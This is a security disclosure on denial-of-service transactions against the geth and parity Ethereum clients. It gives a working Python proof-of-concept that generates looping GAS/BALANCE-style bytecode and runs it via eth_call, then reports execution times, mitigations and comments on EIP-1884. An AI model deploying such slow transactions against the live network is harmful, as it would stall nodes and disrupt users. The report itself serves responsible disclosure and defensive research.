# Disclosure: geth/parity DoS transactions

## Summary
The EVM-opcodes `BALANCE`, `EXTCODEHASH`, `EXTCODESIZE`, and `CALL/STATICCALL/DELEGATECALL/CALLCODE` are implemented in geth and parity to lookup their values inside a merkle patricia tree. These accesses get slower as the state grows, which allows efficient DoS attacks against Ethereum today with transactions whose execution time is close to the block interval even on modern, fast hardware. Ordinary hardware is clearly not able to keep up with block execution times exceeding 70 seconds. These attacks are reproducible and can partially circumvent current caching mechanisms.

## Attack contracts
In general, contracts which exhaustively query non-existing accounts for the opcodes mentioned above are able to cause very slow transaction times. To demonstrate, we use the following pattern in our attack:

5a - `GAS`
31 - `BALANCE`
50 - `POP`

`GAS` allows us to cheaply push different "addresses" onto the stack. Additionally, it will return different values for different contract executions, which allows a slow execution as explained below.
Inside the attack contract, these opcodes are repeated as often as possible until the maximum smart contract size is almost reached. They are preceded by a `JUMPDEST` and followed by a `JUMP` to the beginning of the contract. The contract is executed until all gas is used.

While currently the gas limit is at 10 million, using gas refunds it is possible to craft blocks that consume roughly double, so 20 million gas. Such blocks have certain overhead for the gas refunds but still allow roughly 15m million gas to be consumed by attack code. This would make the attack to be even more potent, but is not used in our experiments.

It is possible to replace `BALANCE` above with `EXTCODESIZE` or `EXTCODEHASH` to get comparable attack contracts. In the case of `EXTCODESIZE` the gas cost of this operation is higher (700 instead of 400), which allows less executions inside one block and correspondibly faster block processing times.

For the `CALL`-related opcodes, we need to push additional values onto the stack and they consume 700 gas. Otherwise, the attack works identical for them.

## Measurements

We measured the execution times of 10 million gas transaction against recent geth and parity implementations. In this section, we present our attack script and our results.

### Python script
We used the following python script to test the impact of these attack contracts. To simulate the execution times on top of the mainnet storage we use `eth_call`. We believe that this is the best choice, as it allows easy attack reproducability without the need to actually deploy the contracts.

For geth, `eth_call` lets us change the code of a contract. For parity, we are executing the code as a "constructor" of a new contract. Hence, for geth we need no calldata as we have simulated the contract deployment. For parity, we reduce calldata costs by looping after 10 `BALANCE` operations. If the contract would have been deployed on mainnet, there would be no calldata costs for parity which would further improve the attack.

def saeiso_attack(parity=False, opcode="31"):
    """
    This will try to execute as many different opcode operations as possible and measure the execution time

    We will use an infinite loop containing BALANCE operations

    Args:
        parity: (bool) Run against parity instead of geth
        opcode: (string) Opcode to use for the attack.
                31: BALANCE, 3B: EXTCODESIZE, 3F: EXTCODEHASH, FA: STATICCALL

    Returns: (double) time spent in transaction
    """
    # Repeat code 10 times in case of parity (to keep cost of calldata low) and 8000 times for geth to create a big contract
    code_repitions = 10 if parity else 8000

    # Special case STATICCALL
    if opcode == "FA":
        code = "5b%s600056" % (("60008080805a5a%s50"%opcode) * code_repitions)  # JUMPDEST (PUSH 0 DUP1 DUP1 DUP1 GAS GAS STATICCALL POP) * 8'000 PUSH1 0x0 JUMP
    else:
        code = "5b%s600056" % (("5a%s50"%opcode) * code_repitions)  # JUMPDEST (GAS BALANCE/EXTCODESIZE/EXTCODEHASH POP) * 8'000 PUSH1 0x0 JUMP
    geth_params = [
        {
            "gas":hex(random.randint(9800000,10000000)),  # providing random gas limit between 9.8m and 10m - geth is aggressively caching already queried balances
            "to":"0x5a31505a31505a31505a31505a31505a31505a31"  # this address is called with the code provided below
        },
        "latest",
        {
            "0x5a31505a31505a31505a31505a31505a31505a31": {
                "code": "0x%s" % code
            }
        }
    ]
    parity_params = [
        {
            "gas": hex(random.randint(9800000,10000000)),  # providing random gas
            "from": "0x5a31505a31505a31505a31505a31505a31505a31",
            "data": "0x%s" % code
        }
    ]

    start = time.time()
    r = requests.post("http://localhost:8545", json={
        "method": "eth_call",
        "params": parity_params if parity else geth_params, "id": 1, "jsonrpc": "2.0"
    })
    duration = time.time() - start
    print("Transaction executed in %s seconds" % duration)
    return duration

Using `eth_call` comes with an overhead for JSON-RPC, but with around 0.03 seconds we found this overhead to be negligible.

### Results

Technical specs (standard cloud node):
- 4 VCPUs (Intel Xeon Processor (Skylake, IBRS), 2.1GHz)
- 16GB RAM
- local SSD
- using default options for both parity and geth
- all experiments have been repeated multiple times to account for caches being empty
- geth has a 5 second timeout for `eth_call` which we disabled for these tests with a patched version

parity-ethereum//v2.5.9-stable-06c7096-20190926/x86_64-linux-gnu/rustc1.36.0
Analyzing BALANCE
Transaction executed in 90.47014665603638 seconds
Transaction executed in 89.56165289878845 seconds
Transaction executed in 88.18044257164001 seconds
BALANCE - Mean execution time of 3 trials: 89.404081 seconds (std-dev: 1.152956)
Analyzing EXTCODEHASH
Transaction executed in 96.50144910812378 seconds
Transaction executed in 88.31304359436035 seconds
Transaction executed in 89.0710859298706 seconds
EXTCODEHASH - Mean execution time of 3 trials: 91.295193 seconds (std-dev: 4.524653)
Analyzing EXTCODESIZE
Transaction executed in 51.432116985321045 seconds
Transaction executed in 48.75339484214783 seconds
Transaction executed in 48.91419434547424 seconds
EXTCODESIZE - Mean execution time of 3 trials: 49.699902 seconds (std-dev: 1.502295)
Analyzing STATICCALL
Transaction executed in 48.890034437179565 seconds
Transaction executed in 49.50768303871155 seconds
Transaction executed in 45.992751359939575 seconds
STATICCALL - Mean execution time of 3 trials: 48.130156 seconds (std-dev: 1.876632)

geth/v1.9.6-stable-eae9ad2d/linux-amd64/go1.13.1
Analyzing BALANCE
Transaction executed in 77.99762344360352 seconds
Transaction executed in 73.15077257156372 seconds
Transaction executed in 75.63355326652527 seconds
BALANCE - Mean execution time of 3 trials: 75.593983 seconds (std-dev: 2.423668)
Analyzing EXTCODEHASH
Transaction executed in 71.95817303657532 seconds
Transaction executed in 67.59259176254272 seconds
Transaction executed in 66.93250370025635 seconds
EXTCODEHASH - Mean execution time of 3 trials: 68.827756 seconds (std-dev: 2.731037)
Analyzing EXTCODESIZE
Transaction executed in 38.27424335479736 seconds
Transaction executed in 35.77645754814148 seconds
Transaction executed in 37.73279929161072 seconds
EXTCODESIZE - Mean execution time of 3 trials: 37.261167 seconds (std-dev: 1.313987)
Analyzing STATICCALL
Transaction executed in 33.138795137405396 seconds
Transaction executed in 37.53399038314819 seconds
Transaction executed in 33.561859130859375 seconds
STATICCALL - Mean execution time of 3 trials: 34.744882 seconds (std-dev: 2.424684)

Technical specs (powerful developer laptop):
- 8 VCPUs (Intel(R) Core(TM) i7-8550U, 1.8GHz/4Ghz)
- 32GB RAM
- local NVMe
- default options
- only tested for geth

geth/v1.9.6-stable-eae9ad2d/linux-amd64/go1.13.1
Analyzing BALANCE
Transaction executed in 7.452645540237427 seconds
Transaction executed in 7.975588798522949 seconds
Transaction executed in 7.961317300796509 seconds
BALANCE - Mean execution time of 3 trials: 7.796517 seconds (std-dev: 0.297887)
Analyzing EXTCODEHASH
Transaction executed in 8.09296703338623 seconds
Transaction executed in 7.600640296936035 seconds
Transaction executed in 7.226245641708374 seconds
EXTCODEHASH - Mean execution time of 3 trials: 7.639951 seconds (std-dev: 0.434696)
Analyzing EXTCODESIZE
Transaction executed in 4.034659385681152 seconds
Transaction executed in 3.8940834999084473 seconds
Transaction executed in 4.1543190479278564 seconds
EXTCODESIZE - Mean execution time of 3 trials: 4.027687 seconds (std-dev: 0.130258)

## Analysis
The opcodes above have all in common that their value is being looked up inside a merkle patricia tree which causes high overhead nowadays due to the state being larger. In addition, requesting non-existing addresses forces a complete traversion.

The general problem can only be solved by re-implementing the lookup for values in a constant time fashion. For cases where this is impossible, the gas cost needs to be dependend on the merkle patricia tree depth.

The special problem of looking up non-existing accounts can potentially be more efficiently implemented by using bloom filters which track all existing accounts and allow to immediately return `0` for the non-existing ones. This approach would produce allow false positives as the bloom filter can contain addresses which don't exist on the heaviest chain. However, such addresses are cought in the direct lookup. Hence, the bloom filter implementation doesn't have to take into consideration chain reorgs or selfdestructs.

If such a bloom filter would be implemented, an attacker could still craft smart contracts (or direct transactions to `0x0`) which query the balance of existing addresses, but this attack would be harder to execute, would make assumptions on the cache state and would overall be considerable more expensive with a setup fee of ~4200 gas per operation. Nevertheless, a determined attacker can prepare these contracts and later execute the slow transactions in quick succession to interrupt the network.

## Related Work

### Broken Metre

Recently, Daniel and Benjamin released "Broken Metre: Attacking Resource Metering in EVM" (https://arxiv.org/pdf/1909.07220). The work uses a genetic algorithm to find transactions which are slow. The generated bytecode was provided to us by Daniel and we analyzed the results against geth and parity to compare it to the results obtained when running against aleth.

To reproduce the results, we executed all smart contracts which the genetic algoritm created in its 240 generations using `eth_call` in succession, which gives an upper bound as clients could otherwise parallelize this work.

Overall we found that on modern hardware with sufficient large cache sizes, the execution time of most blocks is around 1 second after the caches have been prepopulated. A closer analysis of this code also showed that the algorithm was narrowing down on the combination of `GAS` and `BALANCE` to create slow transactions. We haven't been able to identify other especial slow combinations in the bytecode but are actively working together with Daniel to allow the genetic algorithm to train against geth and parity and to use more promising opcode combinations.

One disadvantage of the genetic algorithm is its depedency on a certain cache state and blockchain state. For example, it uses the `BLOCKHASH` operation with fixed inputs, but by the time a generated transaction would be executed on the mainnet, the `BLOCKHASH` could already return `0` as the queried hash is no longer included in the 256 most recent hashes. Here, we try produce transactions that are slow with high likelihood given an unknown cache state.

## EIP-1884

The EIP 1884 is planning to raise the cost of `BALANCE` and `EXTCODEHASH` to 700. This does not solve the problem as it is still possible to craft transactions which are dangerously slow. This can be seen in the results for `EXTCODESIZE` above as the current gas cost of `EXTCODESIZE` is already 700. Furthermore the cost of `CALL`-related opcodes will remain identical.

### Contracts broken by EIP-1884

EIP-1884 is not backwards compatible. We analysed which currently working contracts would cease to function after EIP-1884. We found numerous such contracts, including the roughly [600 contracts of Aragon DAOs](https://github.com/aragon/aragonOS/issues/549) and two very popular contracts, including [KyberSwap](https://gist.github.com/ritzdorf/1c6bd72955391e831f8a397d3152b4e0#kybernetwork). The full analysis is available [here](https://gist.github.com/ritzdorf/1c6bd72955391e831f8a397d3152b4e0).

Whenever possible, we contacted the authors and generally tried to raise awareness through presentations. We know that multiple teams are currently working on contract upgrades.

## Further work
While this work focuses on opcodes against the state trie, the same applies to storage trie operations as long as the storage trie is sufficiently deep. We are planning to conduct further experiments with `SLOAD`.

## Contact
For further questions, don't hesitate to reach out at

- [e-mail] / Telegram @MatthiasEgli
- [e-mail] / Telegram @HRitzdorf
- [e-mail] / Telegram @danhper